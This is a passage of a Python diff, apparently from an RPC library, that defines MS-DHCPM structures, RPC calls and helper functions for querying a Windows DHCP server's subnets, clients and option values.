+ERROR_DHCP_SUBNET_NOT_PRESENT = 0x00004E25 +ERROR_DHCP_SUBNET_EXISTS = 0x00004E54 +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.1.1.3 DHCP_SEARCH_INFO_TYPE +class DHCP_SEARCH_INFO_TYPE(NDRENUM): + class enumItems(Enum): + DhcpClientIpAddress = 0 + DhcpClientHardwareAddress = 1 + DhcpClientName = 2 + +# 2.2.1.1.11 QuarantineStatus +class QuarantineStatus(NDRENUM): + class enumItems(Enum): + NOQUARANTINE = 0 + RESTRICTEDACCESS = 1 + DROPPACKET = 2 + PROBATION = 3 + EXEMPT = 4 + DEFAULTQUARSETTING = 5 + NOQUARINFO = 6 + +# 2.2.1.2.7 DHCP_HOST_INFO +class DHCP_HOST_INFO(NDRSTRUCT): + structure = ( + ('IpAddress', DHCP_IP_ADDRESS), + ('NetBiosName', LPWSTR), + ('HostName', LPWSTR), + ) + +# 2.2.1.2.9 DHCP_BINARY_DATA +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +class PBYTE_ARRAY(NDRPOINTER): + referent = ( + ('Data', BYTE_ARRAY), + ) + +class DHCP_BINARY_DATA(NDRSTRUCT): + structure = ( + ('DataLength', DWORD), + ('Data_', PBYTE_ARRAY), + ) + +DHCP_CLIENT_UID = DHCP_BINARY_DATA + +# 2.2.1.2.11 DATE_TIME +class DATE_TIME(NDRSTRUCT): + structure = ( + ('dwLowDateTime', DWORD), + ('dwHighDateTime', DWORD), + ) + +# 2.2.1.2.19 DHCP_CLIENT_INFO_VQ +class DHCP_CLIENT_INFO_VQ(NDRSTRUCT): + structure = ( + ('ClientIpAddress', DHCP_IP_ADDRESS), + ('SubnetMask', DHCP_IP_MASK), + ('ClientHardwareAddress', DHCP_CLIENT_UID), + ('ClientName', LPWSTR), + ('ClientComment', LPWSTR), + ('ClientLeaseExpires', DATE_TIME), + ('OwnerHost', DHCP_HOST_INFO), + ('bClientType', BYTE), + ('AddressState', BYTE), + ('Status', QuarantineStatus), + ('ProbationEnds', DATE_TIME), + ('QuarantineCapable', BOOL), + ) + +class DHCP_CLIENT_SEARCH_UNION(NDRUNION): + union = { + DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress: ('ClientIpAddress', DHCP_IP_ADDRESS), + DHCP_SEARCH_INFO_TYPE.DhcpClientHardwareAddress: ('ClientHardwareAddress', DHCP_CLIENT_UID), + DHCP_SEARCH_INFO_TYPE.DhcpClientName: ('ClientName', LPWSTR), + } + +class DHCP_SEARCH_INFO(NDRSTRUCT): + structure = ( + ('SearchType', DHCP_SEARCH_INFO_TYPE), + ('SearchInfo', DHCP_CLIENT_SEARCH_UNION), + ) + +# 2.2.1.2.14 DHCP_CLIENT_INFO_V4 +class DHCP_CLIENT_INFO_V4(NDRSTRUCT): + structure = ( + ('ClientIpAddress', DHCP_IP_ADDRESS), + ('SubnetMask', DHCP_IP_MASK), + ('ClientHardwareAddress', DHCP_CLIENT_UID), + ('ClientName', LPWSTR), + ('ClientComment', LPWSTR), + ('ClientLeaseExpires', DATE_TIME), + ('OwnerHost', DHCP_HOST_INFO), + ('bClientType', BYTE), + ) + +class DHCP_CLIENT_INFO_V5(NDRSTRUCT): + structure = ( + ('ClientIpAddress', DHCP_IP_ADDRESS), + ('SubnetMask', DHCP_IP_MASK), + ('ClientHardwareAddress', DHCP_CLIENT_UID), + ('ClientName', LPWSTR), + ('ClientComment', LPWSTR), + ('ClientLeaseExpires', DATE_TIME), + ('OwnerHost', DHCP_HOST_INFO), + ('bClientType', BYTE), + ('AddressState', BYTE), + ) + +class LPDHCP_CLIENT_INFO_V4(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_V4), + ) + +class LPDHCP_CLIENT_INFO_V5(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_V5), + ) + +# 2.2.1.2.115 DHCP_CLIENT_INFO_PB +class DHCP_CLIENT_INFO_PB(NDRSTRUCT): + structure = ( + ('ClientIpAddress', DHCP_IP_ADDRESS), + ('SubnetMask', DHCP_IP_MASK), + ('ClientHardwareAddress', DHCP_CLIENT_UID), + ('ClientName', LPWSTR), + ('ClientComment', LPWSTR), + ('ClientLeaseExpires', DATE_TIME), + ('OwnerHost', DHCP_HOST_INFO), + ('bClientType', BYTE), + ('AddressState', BYTE), + ('Status', QuarantineStatus), + ('ProbationEnds', DATE_TIME), + ('QuarantineCapable', BOOL), + ('FilterStatus', DWORD), + ('PolicyName', LPWSTR), + ) + +class LPDHCP_CLIENT_INFO_PB(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_PB), + ) + +class LPDHCP_CLIENT_INFO_VQ(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_VQ), + ) + +class DHCP_CLIENT_INFO_VQ_ARRAY(NDRUniConformantArray): + item = LPDHCP_CLIENT_INFO_VQ + +class LPDHCP_CLIENT_INFO_VQ_ARRAY(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_VQ_ARRAY), + ) + +class DHCP_CLIENT_INFO_ARRAY_VQ(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Clients', LPDHCP_CLIENT_INFO_VQ_ARRAY), + ) + +class LPDHCP_CLIENT_INFO_ARRAY_VQ(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_ARRAY_VQ), + ) + +class DHCP_CLIENT_INFO_V4_ARRAY(NDRUniConformantArray): + item = LPDHCP_CLIENT_INFO_V4 + +class DHCP_CLIENT_INFO_V5_ARRAY(NDRUniConformantArray): + item = LPDHCP_CLIENT_INFO_V5 + +class LPDHCP_CLIENT_INFO_V4_ARRAY(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_V4_ARRAY), + ) + +class LPDHCP_CLIENT_INFO_V5_ARRAY(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_V5_ARRAY), + ) + +class DHCP_CLIENT_INFO_ARRAY_V4(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Clients', LPDHCP_CLIENT_INFO_V4_ARRAY), + ) + +class DHCP_CLIENT_INFO_ARRAY_V5(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Clients', LPDHCP_CLIENT_INFO_V4_ARRAY), + ) + +class LPDHCP_CLIENT_INFO_ARRAY_V5(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_ARRAY_V5), + ) + +class LPDHCP_CLIENT_INFO_ARRAY_V4(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_ARRAY_V4), + ) + +class DHCP_IP_ADDRESS_ARRAY(NDRUniConformantArray): + item = DHCP_IP_ADDRESS + +class LPDHCP_IP_ADDRESS_ARRAY(NDRPOINTER): + referent = ( + ('Data', DHCP_IP_ADDRESS_ARRAY), + ) + +class DHCP_IP_ARRAY(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Elements', LPDHCP_IP_ADDRESS_ARRAY), + ) + +class DHCP_SUBNET_STATE(NDRENUM): + class enumItems(Enum): + DhcpSubnetEnabled = 0 + DhcpSubnetDisabled = 1 + DhcpSubnetEnabledSwitched = 2 + DhcpSubnetDisabledSwitched = 3 + DhcpSubnetInvalidState = 4 + +class DHCP_SUBNET_INFO(NDRSTRUCT): + structure = ( + ('SubnetAddress', DHCP_IP_ADDRESS), + ('SubnetMask', DHCP_IP_MASK), + ('SubnetName', LPWSTR), + ('SubnetComment', LPWSTR), + ('PrimaryHost', DHCP_HOST_INFO), + ('SubnetState', DHCP_SUBNET_STATE), + ) + +class LPDHCP_SUBNET_INFO(NDRPOINTER): + referent = ( + ('Data', DHCP_SUBNET_INFO), + ) + +class DHCP_OPTION_SCOPE_TYPE(NDRENUM): + class enumItems(Enum): + DhcpDefaultOptions = 0 + DhcpGlobalOptions = 1 + DhcpSubnetOptions = 2 + DhcpReservedOptions = 3 + DhcpMScopeOptions = 4 + +class DHCP_RESERVED_SCOPE(NDRSTRUCT): + structure = ( + ('ReservedIpAddress', DHCP_IP_ADDRESS), + ('ReservedIpSubnetAddress', DHCP_IP_ADDRESS), + ) + +class DHCP_OPTION_SCOPE_UNION(NDRUNION): + union = { + DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions : (), + DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions : (), + DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions : ('SubnetScopeInfo', DHCP_IP_ADDRESS), + DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions : ('ReservedScopeInfo', DHCP_RESERVED_SCOPE), + DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions : ('MScopeInfo', LPWSTR), + } + +class DHCP_OPTION_SCOPE_INFO(NDRSTRUCT): + structure = ( + ('ScopeType', DHCP_OPTION_SCOPE_TYPE), + ('ScopeInfo', DHCP_OPTION_SCOPE_UNION), + ) + +class LPDHCP_OPTION_SCOPE_INFO(NDRPOINTER): + referent = ( + ('Data', DHCP_OPTION_SCOPE_INFO) + ) + +class DWORD_DWORD(NDRSTRUCT): + structure = ( + ('DWord1', DWORD), + ('DWord2', DWORD), + ) + +class DHCP_BOOTP_IP_RANGE(NDRSTRUCT): + structure = ( + ('StartAddress', DHCP_IP_ADDRESS), + ('EndAddress', DHCP_IP_ADDRESS), + ('BootpAllocated', ULONG), + ('MaxBootpAllowed', DHCP_IP_ADDRESS), + ('MaxBootpAllowed', ULONG ), + ) + +class DHCP_IP_RESERVATION_V4(NDRSTRUCT): + structure = ( + ('ReservedIpAddress', DHCP_IP_ADDRESS), + ('ReservedForClient', DHCP_CLIENT_UID), + ('bAllowedClientTypes', BYTE), + ) + +class DHCP_IP_RANGE(NDRSTRUCT): + structure = ( + ('StartAddress', DHCP_IP_ADDRESS), + ('EndAddress', DHCP_IP_ADDRESS), + ) + +class DHCP_IP_CLUSTER(NDRSTRUCT): + structure = ( + ('ClusterAddress', DHCP_IP_ADDRESS), + ('ClusterMask', DWORD), + ) + +class DHCP_SUBNET_ELEMENT_TYPE(NDRENUM): + class enumItems(Enum): + DhcpIpRanges = 0 + DhcpSecondaryHosts = 1 + DhcpReservedIps = 2 + DhcpExcludedIpRanges = 3 + DhcpIpUsedClusters = 4 + DhcpIpRangesDhcpOnly = 5 + DhcpIpRangesDhcpBootp = 6 + DhcpIpRangesBootpOnly = 7 + +class DHCP_SUBNET_ELEMENT_UNION_V5(NDRUNION): + union = { + DHCP_SUBNET_ELEMENT_TYPE.DhcpIpRanges : ('IpRange', DHCP_BOOTP_IP_RANGE), + DHCP_SUBNET_ELEMENT_TYPE.DhcpSecondaryHosts : ('SecondaryHost', DHCP_HOST_INFO), + DHCP_SUBNET_ELEMENT_TYPE.DhcpReservedIps : ('ReservedIp', DHCP_IP_RESERVATION_V4), + DHCP_SUBNET_ELEMENT_TYPE.DhcpExcludedIpRanges : ('ExcludeIpRange', DHCP_IP_RANGE), + DHCP_SUBNET_ELEMENT_TYPE.DhcpIpUsedClusters : ('IpUsedCluster', DHCP_IP_CLUSTER), + } + +class DHCP_SUBNET_ELEMENT_DATA_V5(NDRSTRUCT): + structure = ( + ('ElementType', DHCP_SUBNET_ELEMENT_TYPE), + ('Element', DHCP_SUBNET_ELEMENT_UNION_V5), + ) + +class LPDHCP_SUBNET_ELEMENT_DATA_V5(NDRUniConformantArray): + item = DHCP_SUBNET_ELEMENT_DATA_V5 + +class DHCP_SUBNET_ELEMENT_INFO_ARRAY_V5(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Elements', LPDHCP_SUBNET_ELEMENT_DATA_V5), + ) + +class LPDHCP_SUBNET_ELEMENT_INFO_ARRAY_V5(NDRPOINTER): + referent = ( + ('Data', DHCP_SUBNET_ELEMENT_INFO_ARRAY_V5) + ) + +class DHCP_OPTION_DATA_TYPE(NDRENUM): + class enumItems(Enum): + DhcpByteOption = 0 + DhcpWordOption = 1 + DhcpDWordOption = 2 + DhcpDWordDWordOption = 3 + DhcpIpAddressOption = 4 + DhcpStringDataOption = 5 + DhcpBinaryDataOption = 6 + DhcpEncapsulatedDataOption = 7 + DhcpIpv6AddressOption = 8 + +class DHCP_OPTION_ELEMENT_UNION(NDRUNION): + commonHdr = ( + ('tag', DHCP_OPTION_DATA_TYPE), + ) + union = { + DHCP_OPTION_DATA_TYPE.DhcpByteOption : ('ByteOption', BYTE), + DHCP_OPTION_DATA_TYPE.DhcpWordOption : ('WordOption', WORD), + DHCP_OPTION_DATA_TYPE.DhcpDWordOption : ('DWordOption', DWORD), + DHCP_OPTION_DATA_TYPE.DhcpDWordDWordOption : ('DWordDWordOption', DWORD_DWORD), + DHCP_OPTION_DATA_TYPE.DhcpIpAddressOption : ('IpAddressOption', DHCP_IP_ADDRESS), + DHCP_OPTION_DATA_TYPE.DhcpStringDataOption : ('StringDataOption', LPWSTR), + DHCP_OPTION_DATA_TYPE.DhcpBinaryDataOption : ('BinaryDataOption', DHCP_BINARY_DATA), + DHCP_OPTION_DATA_TYPE.DhcpEncapsulatedDataOption: ('EncapsulatedDataOption', DHCP_BINARY_DATA), + DHCP_OPTION_DATA_TYPE.DhcpIpv6AddressOption : ('Ipv6AddressDataOption', LPWSTR), + } + +class DHCP_OPTION_DATA_ELEMENT(NDRSTRUCT): + structure = ( + ('OptionType', DHCP_OPTION_DATA_TYPE), + ('Element', DHCP_OPTION_ELEMENT_UNION), + ) + +class DHCP_OPTION_DATA_ELEMENT_ARRAY2(NDRUniConformantArray): + item = DHCP_OPTION_DATA_ELEMENT + +class LPDHCP_OPTION_DATA_ELEMENT(NDRPOINTER): + referent = ( + ('Data', DHCP_OPTION_DATA_ELEMENT_ARRAY2), + ) + +class DHCP_OPTION_DATA(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Elements', LPDHCP_OPTION_DATA_ELEMENT), + ) + +class DHCP_OPTION_VALUE(NDRSTRUCT): + structure = ( + ('OptionID', DHCP_OPTION_ID), + ('Value', DHCP_OPTION_DATA), + ) + +class PDHCP_OPTION_VALUE(NDRPOINTER): + referent = ( + ('Data', DHCP_OPTION_VALUE), + ) + +class DHCP_OPTION_VALUE_ARRAY2(NDRUniConformantArray): + item = DHCP_OPTION_VALUE + +class LPDHCP_OPTION_VALUE(NDRPOINTER): + referent = ( + ('Data', DHCP_OPTION_VALUE_ARRAY2), + ) + +class DHCP_OPTION_VALUE_ARRAY(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Values', LPDHCP_OPTION_VALUE), + ) + +class LPDHCP_OPTION_VALUE_ARRAY(NDRPOINTER): + referent = ( + ('Data', DHCP_OPTION_VALUE_ARRAY), + ) + +class DHCP_ALL_OPTION_VALUES(NDRSTRUCT): + structure = ( + ('ClassName', LPWSTR), + ('VendorName', LPWSTR), + ('IsVendor', BOOL), + ('OptionsArray', LPDHCP_OPTION_VALUE_ARRAY), + ) + +class OPTION_VALUES_ARRAY(NDRUniConformantArray): + item = DHCP_ALL_OPTION_VALUES + +class LPOPTION_VALUES_ARRAY(NDRPOINTER): + referent = ( + ('Data', OPTION_VALUES_ARRAY), + ) + +class DHCP_ALL_OPTIONS_VALUES(NDRSTRUCT): + structure = ( + ('Flags', DWORD), + ('NumElements', DWORD), + ('Options', LPOPTION_VALUES_ARRAY), + ) + +class LPDHCP_ALL_OPTION_VALUES(NDRPOINTER): + referent = ( + ('Data', DHCP_ALL_OPTIONS_VALUES), + ) + +################################################################################ +# RPC CALLS +################################################################################ +# Interface dhcpsrv +class DhcpGetSubnetInfo(NDRCALL): + opnum = 2 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SubnetAddress', DHCP_IP_ADDRESS), + ) + +class DhcpGetSubnetInfoResponse(NDRCALL): + structure = ( + ('SubnetInfo', LPDHCP_SUBNET_INFO), + ('ErrorCode', ULONG), + ) + +class DhcpEnumSubnets(NDRCALL): + opnum = 3 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumSubnetsResponse(NDRCALL): + structure = ( + ('ResumeHandle', LPDWORD), + ('EnumInfo', DHCP_IP_ARRAY), + ('EnumRead', DWORD), + ('EnumTotal', DWORD), + ('ErrorCode', ULONG), + ) + +class DhcpGetOptionValue(NDRCALL): + opnum = 13 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('OptionID', DHCP_OPTION_ID), + ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), + ) + +class DhcpGetOptionValueResponse(NDRCALL): + structure = ( + ('OptionValue', PDHCP_OPTION_VALUE), + ('ErrorCode', ULONG), + ) + +class DhcpEnumOptionValues(NDRCALL): + opnum = 14 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumOptionValuesResponse(NDRCALL): + structure = ( + ('ResumeHandle', DWORD), + ('OptionValues', LPDHCP_OPTION_VALUE_ARRAY), + ('OptionsRead', DWORD), + ('OptionsTotal', DWORD), + ('ErrorCode', ULONG), + ) + +class DhcpGetClientInfoV4(NDRCALL): + opnum = 34 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SearchInfo', DHCP_SEARCH_INFO), + ) + +class DhcpGetClientInfoV4Response(NDRCALL): + structure = ( + ('ClientInfo', LPDHCP_CLIENT_INFO_V4), + ('ErrorCode', ULONG), + ) + +class DhcpEnumSubnetClientsV4(NDRCALL): + opnum = 35 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SubnetAddress', DHCP_IP_ADDRESS), + ('ResumeHandle', DWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumSubnetClientsV4Response(NDRCALL): + structure = ( + ('ResumeHandle', LPDWORD), + ('ClientInfo', LPDHCP_CLIENT_INFO_ARRAY_V4), + ('ClientsRead', DWORD), + ('ClientsTotal', DWORD), + ('ErrorCode', ULONG), + ) + +# Interface dhcpsrv2 + +class DhcpEnumSubnetClientsV5(NDRCALL): + opnum = 0 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SubnetAddress', DHCP_IP_ADDRESS), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumSubnetClientsV5Response(NDRCALL): + structure = ( + ('ResumeHandle', DWORD), + ('ClientsInfo', LPDHCP_CLIENT_INFO_ARRAY_V5), + ('ClientsRead', DWORD), + ('ClientsTotal', DWORD), + ) + +class DhcpGetOptionValueV5(NDRCALL): + opnum = 21 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('Flags', DWORD), + ('OptionID', DHCP_OPTION_ID), + ('ClassName', LPWSTR), + ('VendorName', LPWSTR), + ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), + ) + +class DhcpGetOptionValueV5Response(NDRCALL): + structure = ( + ('OptionValue', PDHCP_OPTION_VALUE), + ('ErrorCode', ULONG), + ) + +class DhcpEnumOptionValuesV5(NDRCALL): + opnum = 22 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('Flags', DWORD), + ('ClassName', LPWSTR), + ('VendorName', LPWSTR), + ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumOptionValuesV5Response(NDRCALL): + structure = ( + ('ResumeHandle', DWORD), + ('OptionValues', LPDHCP_OPTION_VALUE_ARRAY), + ('OptionsRead', DWORD), + ('OptionsTotal', DWORD), + ('ErrorCode', ULONG), + ) + +class DhcpGetAllOptionValues(NDRCALL): + opnum = 30 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('Flags', DWORD), + ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), + ) + +class DhcpGetAllOptionValuesResponse(NDRCALL): + structure = ( + ('Values', LPDHCP_ALL_OPTION_VALUES), + ('ErrorCode', ULONG), + ) + +class DhcpEnumSubnetElementsV5(NDRCALL): + opnum = 38 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SubnetAddress', DHCP_IP_ADDRESS), + ('EnumElementType', DHCP_SUBNET_ELEMENT_TYPE), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumSubnetElementsV5Response(NDRCALL): + structure = ( + ('ResumeHandle', DWORD), + ('EnumElementInfo', LPDHCP_SUBNET_ELEMENT_INFO_ARRAY_V5), + ('ElementsRead', DWORD), + ('ElementsTotal', DWORD), + ('ErrorCode', ULONG), + ) + +class DhcpEnumSubnetClientsVQ(NDRCALL): + opnum = 47 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SubnetAddress', DHCP_IP_ADDRESS), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumSubnetClientsVQResponse(NDRCALL): + structure = ( + ('ResumeHandle', LPDWORD), + ('ClientInfo', LPDHCP_CLIENT_INFO_ARRAY_VQ), + ('ClientsRead', DWORD), + ('ClientsTotal', DWORD), + ('ErrorCode', ULONG), + ) + +class DhcpV4GetClientInfo(NDRCALL): + opnum = 123 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SearchInfo', DHCP_SEARCH_INFO), + ) + +class DhcpV4GetClientInfoResponse(NDRCALL): + structure = ( + ('ClientInfo', LPDHCP_CLIENT_INFO_PB), + ('ErrorCode', ULONG), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 0: (DhcpEnumSubnetClientsV5, DhcpEnumSubnetClientsV5Response), + 2: (DhcpGetSubnetInfo, DhcpGetSubnetInfoResponse), + 3: (DhcpEnumSubnets, DhcpEnumSubnetsResponse), + 13: (DhcpGetOptionValue, DhcpGetOptionValueResponse), + 14: (DhcpEnumOptionValues, DhcpEnumOptionValuesResponse), + 21: (DhcpGetOptionValueV5, DhcpGetOptionValueV5Response), + 22: (DhcpEnumOptionValuesV5, DhcpEnumOptionValuesV5Response), + 30: (DhcpGetAllOptionValues, DhcpGetAllOptionValuesResponse), + 34: (DhcpGetClientInfoV4, DhcpGetClientInfoV4Response), + 35: (DhcpEnumSubnetClientsV4, DhcpEnumSubnetClientsV4Response), + 38: (DhcpEnumSubnetElementsV5, DhcpEnumSubnetElementsV5Response), + 47: (DhcpEnumSubnetClientsVQ, DhcpEnumSubnetClientsVQResponse), + 123: (DhcpV4GetClientInfo, DhcpV4GetClientInfoResponse), +} + + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hDhcpGetClientInfoV4(dce, searchType, searchValue): + request = DhcpGetClientInfoV4() + + request['ServerIpAddress'] = NULL + request['SearchInfo']['SearchType'] = searchType + request['SearchInfo']['SearchInfo']['tag'] = searchType + if searchType == DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress: + request['SearchInfo']['SearchInfo']['ClientIpAddress'] = searchValue + elif searchType == DHCP_SEARCH_INFO_TYPE.DhcpClientHardwareAddress: + # This should be a DHCP_BINARY_DATA + request['SearchInfo']['SearchInfo']['ClientHardwareAddress'] = searchValue + else: + request['SearchInfo']['SearchInfo']['ClientName'] = searchValue + + return dce.request(request) + +def hDhcpGetSubnetInfo(dce, subnetaddress): + request = DhcpGetSubnetInfo() + + request['ServerIpAddress'] = NULL + request['SubnetAddress'] = subnetaddress + resp = dce.request(request) + + return resp + +def hDhcpGetOptionValue(dce, optionID, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL): + request = DhcpGetOptionValue() + + request['ServerIpAddress'] = NULL + request['OptionID'] = optionID + request['ScopeInfo']['ScopeType'] = scopetype + if scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions and scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions: + request['ScopeInfo']['ScopeInfo']['tag'] = scopetype + if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: + request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: + request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: + request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumOptionValues(dce, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL, + preferredMaximum=0xffffffff): + request = DhcpEnumOptionValues() + + request['ServerIpAddress'] = NULL + request['ScopeInfo']['ScopeType'] = scopetype + if scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions and scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions: + request['ScopeInfo']['ScopeInfo']['tag'] = scopetype + if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: + request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: + request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: + request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumOptionValuesV5(dce, flags=DHCP_FLAGS_OPTION_DEFAULT, classname=NULL, vendorname=NULL, + scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL, + preferredMaximum=0xffffffff): + request = DhcpEnumOptionValuesV5() + + request['ServerIpAddress'] = NULL + request['Flags'] = flags + request['ClassName'] = classname + request['VendorName'] = vendorname + request['ScopeInfo']['ScopeType'] = scopetype + request['ScopeInfo']['ScopeInfo']['tag'] = scopetype + if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: + request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: + request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: + request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpGetOptionValueV5(dce, option_id, flags=DHCP_FLAGS_OPTION_DEFAULT, classname=NULL, vendorname=NULL, + scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL): + request = DhcpGetOptionValueV5() + + request['ServerIpAddress'] = NULL + request['Flags'] = flags + request['OptionID'] = option_id + request['ClassName'] = classname + request['VendorName'] = vendorname + request['ScopeInfo']['ScopeType'] = scopetype + request['ScopeInfo']['ScopeInfo']['tag'] = scopetype + if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: + request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: + request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: + request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpGetAllOptionValues(dce, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL): + request = DhcpGetAllOptionValues() + + request['ServerIpAddress'] = NULL + request['Flags'] = NULL + request['ScopeInfo']['ScopeType'] = scopetype + request['ScopeInfo']['ScopeInfo']['tag'] = scopetype + if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: + request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: + request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: + request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumSubnets(dce, preferredMaximum=0xffffffff): + request = DhcpEnumSubnets() + + request['ServerIpAddress'] = NULL + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return 